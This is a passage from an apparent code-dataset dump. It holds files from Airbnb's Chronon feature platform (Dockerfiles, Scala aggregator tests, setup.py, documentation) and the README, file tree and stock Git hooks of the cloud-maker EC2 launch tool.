/srv/chronon\n\nENV DRIVER_JAR_PATH=\"/srv/spark/spark_embedded.jar\"\n\nCOPY api/py/test/sample ./\nCOPY quickstart/mongo-online-impl /srv/onlineImpl\nCOPY $CHRONON_JAR_PATH \"$DRIVER_JAR_PATH\"\n\nENV CHRONON_DRIVER_JAR=\"$DRIVER_JAR_PATH\"\n", ".circleci\\Dockerfile": "ARG base_image\nFROM ${base_image}\nUSER root\nENV JAVA_HOME /usr/lib/jvm/java-8-openjdk-amd64\nENV PATH /opt/conda/bin:$PATH\nENV THRIFT_VERSION 0.11.0\n\nWORKDIR /img-build\n\n\n# Add sbt repo to sources list\nRUN echo \"deb https://repo.scala-sbt.org/scalasbt/debian all main\" | sudo tee /etc/apt/sources.list.d/sbt.list\nRUN echo \"deb https://repo.scala-sbt.org/scalasbt/debian /\" | sudo tee /etc/apt/sources.list.d/sbt_old.list\nRUN curl -sL \"https://keyserver.ubuntu.com/pks/lookup?op=get&search=0x2EE0EA64E40A89B84B2DF73499E82A75642AC823\" | sudo apt-key add\n\n# Install prereqs\nRUN apt-get update && apt-get -y -q install \\\n automake \\\n bison \\\n cmake \\\n curl \\\n flex \\\n g++ \\\n git \\\n libboost-dev \\\n libboost-filesystem-dev \\\n libboost-program-options-dev \\\n libboost-system-dev \\\n libboost-test-dev \\\n libevent-dev \\\n libssl-dev \\\n libtool \\\n make \\\n openjdk-8-jdk \\\n pkg-config \\\n sbt \\\n && apt-get clean\n\n# Install thrift\nRUN curl -sSL \"http://archive.apache.org/dist/thrift/$THRIFT_VERSION/thrift-$THRIFT_VERSION.tar.gz\" -o thrift.tar.gz \\\n\t&& mkdir -p /usr/src/thrift \\\n\t&& tar zxf thrift.tar.gz -C /usr/src/thrift --strip-components=1 \\\n\t&& rm thrift.tar.gz \\\n\t&& cd /usr/src/thrift \\\n\t&& ./configure --without-python --without-cpp \\\n\t&& make \\\n\t&& make install \\\n\t&& cd / \\\n\t&& rm -rf /usr/src/thrift\n\n# Install Scala\nENV SCALA_VERSION 2.11.7\nENV SCALA_DEB http://www.scala-lang.org/files/archive/scala-$SCALA_VERSION.deb\n\nRUN wget --quiet --output-document=scala.deb $SCALA_DEB && \\\n dpkg -i scala.deb && \\\n rm -f *.deb\n\n# Install sbt\nRUN apt-get update && apt-get -y -q install \\\n sbt \\\n && apt-get clean\n\n# Install conda\nRUN /var/lib/dpkg/info/ca-certificates-java.postinst configure && \\\n wget -q https://repo.continuum.io/miniconda/Miniconda3-latest-Linux-x86_64.sh -O ~/miniconda.sh && \\\n bash ~/miniconda.sh -b -p /opt/conda && \\\n ln -s /opt/conda/etc/profile.d/conda.sh /etc/profile.d/conda.sh && \\\n # clean up\n rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* && \\\n rm ~/*.sh\n\nRUN conda create -y -n chronon_py python=3.7\nRUN conda install -y -q -n chronon_py --no-deps virtualenv\nRUN /opt/conda/envs/chronon_py/bin/pip install \\\n flake8==5.0.4 flake8-quotes==3.3.1 thrift==0.11.0 click==7.0 thrift_json==0.1.0 nose>=1.3.7\n\n# Install python build dependencies\nRUN /opt/conda/envs/chronon_py/bin/pip install build\n\nWORKDIR /\nRUN rm -rf /img-build\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 d3cca991ef95f9acbaffdfb7d3f452a59f6c79e2 Hamza Amin <[email protected]> 1728664567 +0500\tclone: from https://github.com/airbnb/chronon.git\n", ".git\\refs\\heads\\main": "d3cca991ef95f9acbaffdfb7d3f452a59f6c79e2\n", "aggregator\\src\\test\\scala\\ai\\chronon\\aggregator\\test\\ApproxDistinctTest.scala": "/*\n * Copyright (C) 2023 The Chronon Authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage ai.chronon.aggregator.test\n\nimport ai.chronon.aggregator.base.ApproxDistinctCount\nimport junit.framework.TestCase\nimport org.junit.Assert._\n\nclass ApproxDistinctTest extends TestCase {\n def testErrorBound(uniques: Int, errorBound: Int, lgK: Int): Unit = {\n val uniqueElems = 1 to uniques\n val duplicates = uniqueElems ++ uniqueElems ++ uniqueElems\n val counter = new ApproxDistinctCount[Long](lgK)\n val ir = counter.prepare(duplicates.head)\n duplicates.tail.foreach { elem => counter.update(ir, elem) }\n val estimated = counter.finalize(ir)\n // println(s\"estimated - $estimated, actual - $uniques, bound - $errorBound\")\n assertTrue(Math.abs(estimated - uniques) < errorBound)\n }\n\n def testMergingErrorBound(uniques: Int, errorBound: Int, lgK: Int, merges: Int): Unit = {\n val chunkSize = uniques / merges\n assert(chunkSize > 0)\n val counter = new ApproxDistinctCount[Long](lgK)\n // slice the range 1 to uniques into n splits, where n = `merges`\n val uniqueElemsList = (0 until merges).map(merge => ((chunkSize * merge) + 1) to chunkSize * (merge + 1))\n val irList = uniqueElemsList.map { uniqueElems =>\n val duplicates = uniqueElems ++ uniqueElems ++ uniqueElems\n val ir = counter.prepare(duplicates.head)\n duplicates.tail.foreach { elem => counter.update(ir, elem) }\n ir\n }\n val ir = irList.reduceLeft(counter.merge)\n val estimated = counter.finalize(ir)\n // println(s\"estimated - $estimated, actual - $uniques, bound - $errorBound\")\n assertTrue(Math.abs(estimated - uniques) < errorBound)\n }\n\n def testErrorBounds(): Unit = {\n testErrorBound(uniques = 100, errorBound = 1, lgK = 10)\n testErrorBound(uniques = 1000, errorBound = 20, lgK = 10)\n testErrorBound(uniques = 10000, errorBound = 300, lgK = 10)\n }\n\n def testMergingErrorBounds(): Unit = {\n testMergingErrorBound(uniques = 100, errorBound = 1, lgK = 10, merges = 10)\n testMergingErrorBound(uniques = 1000, errorBound = 20, lgK = 10, merges = 4)\n testMergingErrorBound(uniques = 10000, errorBound = 400, lgK = 10, merges = 100)\n }\n}\n", "aggregator\\src\\test\\scala\\ai\\chronon\\aggregator\\test\\ApproxHistogramTest.scala": "package ai.chronon.aggregator.test\n\nimport ai.chronon.aggregator.base.{ApproxHistogram, ApproxHistogramIr}\nimport junit.framework.TestCase\nimport org.junit.Assert._\n\nimport java.util\nimport scala.jdk.CollectionConverters._\n\nclass ApproxHistogramTest extends TestCase {\n def testHistogram(): Unit = {\n val approxHistogram = new ApproxHistogram[String](3)\n val counts = (1L to 3).map(i => i.toString -> i).toMap\n val ir = makeIr(approxHistogram, counts)\n\n assertTrue(!ir.isApprox)\n assertTrue(ir.sketch.isEmpty)\n assertEquals(toHashMap(counts), approxHistogram.finalize(ir))\n }\n\n def testSketch(): Unit = {\n val approxHistogram = new ApproxHistogram[String](3)\n val counts = (1L to 4).map(i => i.toString -> i).toMap\n val expected = counts.toSeq.sortBy(_._2).reverse.take(3).toMap\n val ir = makeIr(approxHistogram, counts)\n\n assertTrue(ir.isApprox)\n assertTrue(ir.histogram.isEmpty)\n assertEquals(toHashMap(expected), approxHistogram.finalize(ir))\n }\n\n def testMergeSketches(): Unit = {\n val approxHistogram = new ApproxHistogram[String](3)\n val counts1: Map[String, Long] = Map(\"5\" -> 5L, \"4\" -> 4, \"2\" -> 2, \"1\" -> 1)\n val counts2: Map[String, Long] = Map(\"6\" -> 6L, \"4\" -> 4, \"2\" -> 2, \"1\" -> 1)\n\n val ir1 = makeIr(approxHistogram, counts1)\n val ir2 = makeIr(approxHistogram, counts2)\n\n assertTrue(ir1.isApprox)\n assertTrue(ir2.isApprox)\n\n val ir = approxHistogram.merge(ir1, ir2)\n assertEquals(toHashMap(Map(\n \"4\" -> 8,\n \"6\" -> 6,\n \"5\" -> 5\n )),\n approxHistogram.finalize(ir))\n assertTrue(ir.isApprox)\n assertTrue(ir.histogram.isEmpty)\n }\n\n def testMergeHistograms(): Unit = {\n val approxHistogram = new ApproxHistogram[String](3)\n val counts1: Map[String, Long] = Map(\"4\" -> 4L, \"2\" -> 2)\n val counts2: Map[String, Long] = Map(\"3\" -> 3L, \"2\" -> 2)\n\n val ir1 = makeIr(approxHistogram, counts1)\n val ir2 = makeIr(approxHistogram, counts2)\n\n assertTrue(!ir1.isApprox)\n assertTrue(!ir2.isApprox)\n\n val ir = approxHistogram.merge(ir1, ir2)\n\n assertEquals(toHashMap(Map(\n \"2\" -> 4,\n \"4\" -> 4,\n \"3\" -> 3\n )), approxHistogram.finalize(ir))\n assertTrue(!ir.isApprox)\n assertTrue(ir.sketch.isEmpty)\n }\n\n def testMergeHistogramsToSketch(): Unit = {\n val approxHistogram = new ApproxHistogram[String](3)\n val counts1: Map[String, Long] = Map(\"4\" -> 4L, \"3\" -> 3)\n val counts2: Map[String, Long] = Map(\"2\" -> 2L, \"1\" -> 1)\n\n val ir1 = makeIr(approxHistogram, counts1)\n val ir2 = makeIr(approxHistogram, counts2)\n\n assertTrue(!ir1.isApprox)\n assertTrue(!ir2.isApprox)\n\n val ir = approxHistogram.merge(ir1, ir2)\n\n assertEquals(toHashMap(Map(\n \"4\" -> 4,\n \"3\" -> 3,\n \"2\" -> 2\n )), approxHistogram.finalize(ir))\n\n assertTrue(ir.isApprox)\n assertTrue(ir.histogram.isEmpty)\n }\n\n def testMergeSketchAndHistogram(): Unit = {\n val approxHistogram = new ApproxHistogram[String](3)\n val counts1: Map[String, Long] = Map(\"5\" -> 5L, \"3\" -> 3, \"2\" -> 2, \"1\" -> 1)\n val counts2: Map[String, Long] = Map(\"2\" -> 2L)\n\n val ir1 = makeIr(approxHistogram, counts1)\n val ir2 = makeIr(approxHistogram, counts2)\n\n assertTrue(ir1.isApprox)\n assertTrue(!ir2.isApprox)\n\n val ir = approxHistogram.merge(ir1, ir2)\n\n assertEquals(toHashMap(Map(\n \"5\" -> 5,\n \"2\" -> 4,\n \"3\" -> 3\n )), approxHistogram.finalize(ir))\n assertTrue(ir.isApprox)\n assert(ir.histogram.isEmpty)\n }\n\n def testNormalizeHistogram(): Unit = {\n val approxHistogram = new ApproxHistogram[String](3)\n val counts = (1L to 3).map(i => i.toString -> i).toMap\n val ir = makeIr(approxHistogram, counts)\n assertTrue(ir.histogram.isDefined)\n\n val normalized = approxHistogram.denormalize(approxHistogram.normalize(ir))\n assertEquals(ir, normalized)\n }\n\n def testNormalizeSketch(): Unit = {\n val approxHistogram = new ApproxHistogram[String](3)\n val counts = (1L to 4).map(i => i.toString -> i).toMap\n val expected = counts.toSeq.sortBy(_._2).reverse.take(3).toMap\n val ir = makeIr(approxHistogram, counts)\n assertTrue(ir.sketch.isDefined)\n\n val normalized = approxHistogram.denormalize(approxHistogram.normalize(ir))\n assertEquals(expected, approxHistogram.finalize(normalized).asScala)\n }\n\n def toHashMap[T](map: Map[T, Long]): util.HashMap[T, Long] = new util.HashMap[T, Long](map.asJava)\n\n def makeIr[T](agg: ApproxHistogram[T], counts: Map[T, Long]): ApproxHistogramIr[T] = {\n val values = counts.toSeq.sortBy(_._2)\n\n var ir = agg.prepare(values.head._1)\n\n (1L until values.head._2).foreach(_ => ir = agg.update(ir, values.head._1))\n\n values.tail.foreach({\n case (k, v) =>\n (1L to v).foreach(_ => {\n ir = agg.update(ir, k)\n })\n })\n\n ir\n }\n}\n", "aggregator\\src\\test\\scala\\ai\\chronon\\aggregator\\test\\ApproxPercentilesTest.scala": "/*\n * Copyright (C) 2023 The Chronon Authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage ai.chronon.aggregator.test\n\nimport org.slf4j.LoggerFactory\nimport ai.chronon.aggregator.base.ApproxPercentiles\nimport ai.chronon.aggregator.row.StatsGenerator\nimport com.yahoo.sketches.kll.KllFloatsSketch\nimport junit.framework.TestCase\nimport org.junit.Assert._\n\nimport scala.util.Random\n\nclass ApproxPercentilesTest extends TestCase {\n @transient lazy val logger = LoggerFactory.getLogger(getClass)\n def testBasicImpl(nums: Int, slide: Int, k: Int, percentiles: Array[Double], errorPercent: Float): Unit = {\n val sorted = (0 to nums).map(_.toFloat)\n val elems = Random.shuffle(sorted.toList).toArray\n val chunks = elems.sliding(slide, slide)\n val agg = new ApproxPercentiles(k, percentiles)\n val irs = chunks.map { chunk =>\n val init = agg.prepare(chunk.head)\n chunk.tail.foldLeft(init)(agg.update)\n }\n val merged = irs.reduce { agg.merge }\n val result = agg.finalize(merged)\n val clonedResult = agg.finalize(agg.clone(merged))\n assertTrue(result sameElements clonedResult)\n val step = nums / (result.size - 1)\n val expected = result.indices.map(_ * step).map(_.toFloat).toArray\n val diffs = result.indices.map(i => Math.abs(result(i) - expected(i)))\n val errorMargin = (nums.toFloat * errorPercent) / 100.0\n logger.info(s\"\"\"\n |sketch size: ${merged.getSerializedSizeBytes}\n |result: ${result.toVector}\n |result size: ${result.size}\n |diffs: ${diffs.toVector}\n |errorMargin: $errorMargin\n |\"\"\".stripMargin)\n diffs.foreach(diff => assertTrue(diff < errorMargin))\n }\n\n def testBasicPercentiles: Unit = {\n val percentiles_tested: Int = 31\n val percentiles: Array[Double] = (0 to percentiles_tested).toArray.map(i => i * 1.0 / percentiles_tested)\n testBasicImpl(3000, 5, 100, percentiles, errorPercent = 4)\n testBasicImpl(30000, 50, 200, percentiles, errorPercent = 2)\n testBasicImpl(30000, 50, 50, percentiles, errorPercent = 5)\n }\n\n def getPSIDrift(sample1: Array[Float], sample2: Array[Float]): Double = {\n val sketch1 = new KllFloatsSketch(200)\n val sketch2 = new KllFloatsSketch(200)\n sample1.map(sketch1.update)\n sample2.map(sketch2.update)\n val drift = StatsGenerator.PSIKllSketch(sketch1.toByteArray, sketch2.toByteArray).asInstanceOf[Double]\n logger.info(s\"PSI drift: $drift\")\n drift\n }\n\n def testPSIDrifts(): Unit = {\n assertTrue(\n getPSIDrift(\n Array(1, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7).map(_.toFloat),\n Array(1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 7).map(_.toFloat)\n ) < 0.1\n ) // Little shift\n assertTrue(\n getPSIDrift(\n Array(1, 1, 1, 1, 1, 1, 1, 1, 4, 5, 5, 6, 6, 7, 7).map(_.toFloat),\n Array(1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 7).map(_.toFloat)\n ) > 0.25\n ) // Action required\n assertTrue(\n getPSIDrift(\n Array(1, 1, 1, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7).map(_.toFloat),\n Array(1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 7).map(_.toFloat)\n ) < 0.25\n ) // Moderate shift\n }\n}\n", "api\\py\\setup.py": "\n# Copyright (C) 2023 The Chronon Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport re\nfrom setuptools import find_packages, setup\n\ncurrent_dir = os.path.abspath(os.path.dirname(__file__))\nwith open(os.path.join(current_dir, \"README.md\"), \"r\") as fh:\n long_description = fh.read()\n\n\nwith open(os.path.join(current_dir, \"requirements/base.in\"), \"r\") as infile:\n basic_requirements = [line for line in infile]\n\n\n__version__ = \"local\"\n__branch__ = \"main\"\ndef get_version():\n version_str = os.environ.get(\"CHRONON_VERSION_STR\", __version__)\n branch_str = os.environ.get(\"CHRONON_BRANCH_STR\", __branch__)\n # Replace \"-SNAPSHOT\" with \".dev\"\n version_str = version_str.replace(\"-SNAPSHOT\", \".dev\")\n # If the prefix is the branch name, then convert it as suffix after '+' to make it Python PEP440 complaint\n if version_str.startswith(branch_str + \"-\"):\n version_str = \"{}+{}\".format(\n version_str.replace(branch_str + \"-\", \"\"),\n branch_str\n )\n\n # Replace multiple continuous '-' or '_' with a single period '.'.\n # In python version string, the label identifier that comes after '+', is all separated by periods '.'\n version_str = re.sub(r'[-_]+', '.', version_str)\n\n return version_str\n\nsetup(\n classifiers=[\n \"Programming Language :: Python :: 3.7\"\n ],\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n scripts=['ai/chronon/repo/explore.py', 'ai/chronon/repo/compile.py', 'ai/chronon/repo/run.py'],\n description=\"Chronon python API library\",\n include_package_data=True,\n install_requires=basic_requirements,\n name=\"chronon-ai\",\n packages=find_packages(),\n extras_require={\n # Extra requirement to have access to cli commands in python2 environments.\n \"pip2compat\": [\"click<8\"]\n },\n python_requires=\">=3.7\",\n url=None,\n version=get_version(),\n zip_safe=False\n)\n", "docs\\sphinx-requirements.txt": "sphinx\nmyst-parser\nsphinx-book-theme\nbuild\nsphinx_design\n", "docs\\examples\\main.py": "\n# Copyright (C) 2023 The Chronon Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom ai.chronon import query\nfrom ai.chronon.group_by import GroupBy, TimeUnit, Window\nfrom ai.chronon.api.ttypes import EventSource, EntitySource, Aggregation, Operation, JoinPart\n\nfrom ai.chronon.join import Join\n\nratings_features = GroupBy(\n sources=[\n EntitySource(\n snapshotTable=\"item_info.ratings_snapshots_table\",\n mutationsTable=\"item_info.ratings_mutations_table\",\n mutationsTopic=\"ratings_mutations_topic\",\n query=query.Query(\n selects={\n \"rating\": \"CAST(rating as DOUBLE)\",\n }))\n ],\n keys=[\"item\"],\n aggregations=[Aggregation(\n operation=Operation.AVERAGE,\n windows=[Window(length=90, timeUnit=TimeUnit.DAYS)]),\n ])\n\n\nview_features = GroupBy(\n sources=[\n EventSource(\n table=\"user_activity.user_views_table\",\n topic=\"user_views_stream\",\n query=query.Query(\n selects={\n \"view\": \"if(context['activity_type'] = 'item_view', 1 , 0)\",\n },\n wheres=[\"user != null\"]))\n ],\n keys=[\"user\", \"item\"],\n aggregations=[\n Aggregation(\n operation=Operation.COUNT,\n windows=[Window(length=5, timeUnit=TimeUnit.HOURS)]),\n ])\n\nitem_rec_features = Join(\n left=EventSource(\n table=\"user_activity.view_purchases\",\n query=query.Query(\n start_partition='2021-06-30'\n )\n ),\n # keys are automatically mapped from left to right_parts\n right_parts=[\n JoinPart(groupBy=view_features),\n JoinPart(groupBy=ratings_features)\n ]\n)\n", "docs\\source\\index.rst": ".. Chronon documentation master file, created by\n sphinx-quickstart on Tue Oct 18 14:20:28 2022.\n You can adapt this file completely to your liking, but it should at least\n contain the root `toctree` directive.\n\n.. toctree::\n :maxdepth: 2\n :hidden:\n :caption: Introduction\n\n getting_started/Introduction\n getting_started/Tutorial\n\n.. toctree::\n :maxdepth: 2\n :hidden:\n :caption: Creating Training data\n\n authoring_features/GroupBy\n authoring_features/Join\n authoring_features/ChainingFeatures\n authoring_features/Source\n authoring_features/StagingQuery\n authoring_features/DerivedFeatures\n authoring_features/Bootstrap\n\n.. toctree::\n :maxdepth: 2\n :hidden:\n :caption: Setup\n\n setup/Overview\n setup/Components\n setup/Data_Integration\n setup/Developer_Setup\n setup/Online_Integration\n setup/Orchestration\n setup/Flink\n\n.. toctree::\n :maxdepth: 2\n :hidden:\n :caption: Test, Serve & Monitor\n\n test_deploy_serve/Test\n test_deploy_serve/Deploy\n test_deploy_serve/Serve\n test_deploy_serve/Online_Offline_Consistency\n\n.. toctree::\n :maxdepth: 2\n :hidden:\n :caption: More References\n\n Python_API\n Tiled_Architecture\n Code_Guidelines\n Kaggle_Outbrain\n\n\n.. |br| raw:: html\n\n <br />\n\nWhat is Chronon?\n=====================\nChronon is an open source end-to-end feature platform that allows Machine Learning (ML) teams to easily build, deploy, manage and monitor data pipelines for machine learning.\n\nIt's currently used to power all major ML applications within Airbnb, as well as major use cases at Stripe. Airbnb and Stripe jointly manage and maintain the project, and welcome your usage and contributions!\n\n.. image:: ../images/chronon_high_level.png\n\n|br|\n\nKey Features\n=====================\n\n* **Consume data from a variety of Sources** - event streams, DB table snapshots, change data streams, service endpoints and warehouse tables modeled as either slowly changing dimensions, fact or dimension tables\n* **Produce results both online and offline contexts** - Online, as scalable low-latency end-points for feature serving, or offline as hive tables, for generating training data.\n* **Real-time or batch accuracy** - You can configure the result to be either *Temporal* or *Snapshot* accurate. Temporal refers to updating feature values in real-time in online context and producing point-in-time correct features in the offline context. Snapshot accuracy refers to features being updated once a day at midnight.\n* **Backfill training sets from raw data** - without having to wait for months to accumulate feature logs to train your model.\n* **Powerful python API** - data source types, freshness and contexts are API level abstractions that you compose with intuitive SQL primitives like group-by, join, select etc., with powerful enhancements.\n* **Automated feature monitoring** - auto-generate monitoring pipelines to understand training data quality, measure training-serving skew and monitor feature drift.\n\n|br|\n\nExample\n=====================\nHere is a code example showing what a simple Chronon GroupBy looks like. \n\nThis definition starts with purchase events as the raw input source, and creates user level features by aggregating the number of purchases and the purchase value in various windows, using various aggregations. This single definition can be used to automatically create offline datasets, feature serving end-points and data quality monitoring pipelines.\n\n.. code-block:: python\n\n \"\"\"\n This GroupBy aggregates metrics about a user's previous purchases in various windows.\n \"\"\"\n\n # This source is raw purchase events. Every time a user makes a purchase, it will be one entry in this source.\n source = Source(\n events=EventSource(\n table=\"data.purchases\", # This points to the log table in the warehouse with historical purchase events, updated in batch daily\n topic= \"events/purchases\", # The streaming source topic that can be listened to for realtime events\n query=Query(\n selects=select(\n user=\"user_id\",\n price=\"purchase_price * (1 - merchant_fee_percent/100)\"\n ), # Select the fields we care about\n time_column=\"ts\" # The event time\n ) \n )\n )\n\n window_sizes = [Window(length=day, timeUnit=TimeUnit.DAYS) for day in [3, 14, 30]] # Define some window sizes to use below\n\n v1 = GroupBy(\n sources=[source],\n keys=[\"user_id\"], # We are aggregating by user\n online=True,\n aggregations=[Aggregation(\n input_column=\"price\",\n operation=Operation.SUM,\n windows=window_sizes\n ), # The sum of purchases prices\n Aggregation(\n input_column=\"price\",\n operation=Operation.COUNT,\n windows=window_sizes\n ), # The count of purchases\n Aggregation(\n input_column=\"price\",\n operation=Operation.AVERAGE,\n windows=window_sizes\n ), # The average purchases\n Aggregation(\n input_column=\"price\",\n operation=Operation.LAST_K(10),\n ), # The last 10 purchase prices, collected into a list\n ], # All aggregations are performed over the window_sizes defined above\n )\n\nTo run this and other features and see the complete flow from generating training data to online serving, continue along to the `Quickstart Tutorial <https://chronon.ai/getting_started/Tutorial.html>`_, or for more documentation on how to author and use features, see the `Creating Training Data <https://chronon.ai/authoring_features/GroupBy.html>`_ section.\n", "quickstart\\Dockerfile": "# Start from a Debian base image\nFROM openjdk:8-jre-slim\n\n# Update package lists and install necessary tools\nRUN apt-get update && apt-get install -y \\\n curl \\\n python3 \\\n python3-dev \\\n python3-setuptools \\\n vim \\\n wget \\\n procps \\\n python3-pip\n\nENV THRIFT_VERSION 0.13.0\nENV SCALA_VERSION 2.12.12\n\n# Install thrift\nRUN curl -sSL \"http://archive.apache.org/dist/thrift/$THRIFT_VERSION/thrift-$THRIFT_VERSION.tar.gz\" -o thrift.tar.gz \\\n && mkdir -p /usr/src/thrift \\\n && tar zxf thrift.tar.gz -C /usr/src/thrift --strip-components=1 \\\n && rm thrift.tar.gz \\\n && cd /usr/src/thrift \\\n && ./configure --without-python --without-cpp \\\n && make \\\n && make install \\\n && cd / \\\n && rm -rf /usr/src/thrift\n\nRUN curl https://downloads.lightbend.com/scala/${SCALA_VERSION}/scala-${SCALA_VERSION}.deb -k -o scala.deb && \\\n apt install -y ./scala.deb && \\\n rm -rf scala.deb /var/lib/apt/lists/*\n\nENV SCALA_HOME=\"/usr/bin/scala\"\nENV PATH=${PATH}:${SCALA_HOME}/bin\n\n## Download spark and hadoop dependencies and install\n\n# Optional env variables\nENV SPARK_HOME=${SPARK_HOME:-\"/opt/spark\"}\nENV HADOOP_HOME=${HADOOP_HOME:-\"/opt/hadoop\"}\nENV SPARK_VERSION=${SPARK_VERSION:-\"3.1.1\"}\nENV HADOOP_VERSION=${HADOOP_VERSION:-\"3.2\"}\nRUN mkdir -p ${HADOOP_HOME} && mkdir -p ${SPARK_HOME}\nWORKDIR ${SPARK_HOME}\n\n\nRUN curl https://archive.apache.org/dist/spark/spark-${SPARK_VERSION}/spark-${SPARK_VERSION}-bin-hadoop${HADOOP_VERSION}.tgz -o spark.tgz \\\n && tar xvzf spark.tgz --directory /opt/spark --strip-components 1 \\\n && rm -rf spark.tgz\n\n\n# Install python deps\nCOPY requirements.txt .\nRUN pip3 install -r requirements.txt\n\n\nENV PATH=\"/opt/spark/sbin:/opt/spark/bin:${PATH}\"\nENV SPARK_HOME=\"/opt/spark\"\n\nCOPY conf/spark-defaults.conf \"$SPARK_HOME/conf\"\n\nRUN chmod u+x /opt/spark/sbin/* && \\\n chmod u+x /opt/spark/bin/*\n\nENV PYTHONPATH=$SPARK_HOME/python/:/srv/chronon/:$PYTHONPATH\n\n# If trying a standalone docker cluster\nWORKDIR ${SPARK_HOME}\n# If doing a regular local spark box.\nWORKDIR /srv/chronon\n\n", "quickstart\\requirements.txt": "jupyter\nchronon-ai\n"} | null |
cloud-maker | {"type": "directory", "name": "cloud-maker", "children": [{"type": "directory", "name": "bin", "children": [{"type": "file", "name": "cloud-maker"}]}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "cloud-maker.gemspec"}, {"type": "file", "name": "DESIGN.md"}, {"type": "directory", "name": "examples", "children": [{"type": "file", "name": "sample.cloud-config.yaml"}]}, {"type": "file", "name": "Gemfile"}, {"type": "directory", "name": "lib", "children": [{"type": "file", "name": "cloud-maker.rb"}, {"type": "directory", "name": "cloud_maker", "children": [{"type": "file", "name": "config.rb"}, {"type": "file", "name": "ec2.rb"}, {"type": "file", "name": "elb_interface.rb"}, {"type": "file", "name": "s3_archiver.rb"}, {"type": "file", "name": "shell_executor.rb"}]}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "README.md"}]} | # CloudMaker
CloudMaker is a tool for launching and configuring EC2 instances. It works as an extension to the Ubuntu CloudInit system. It extends the configuration format with a composition system and options to describe how you want an instance to be launched.
The goal of the project is to make building and launching instances simple and repeatable. It accomplishes this by leveraging existing toolchains rather than forcing people to learn a new and complicated system.
# Documentation
http://airbnb.github.com/cloud-maker
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
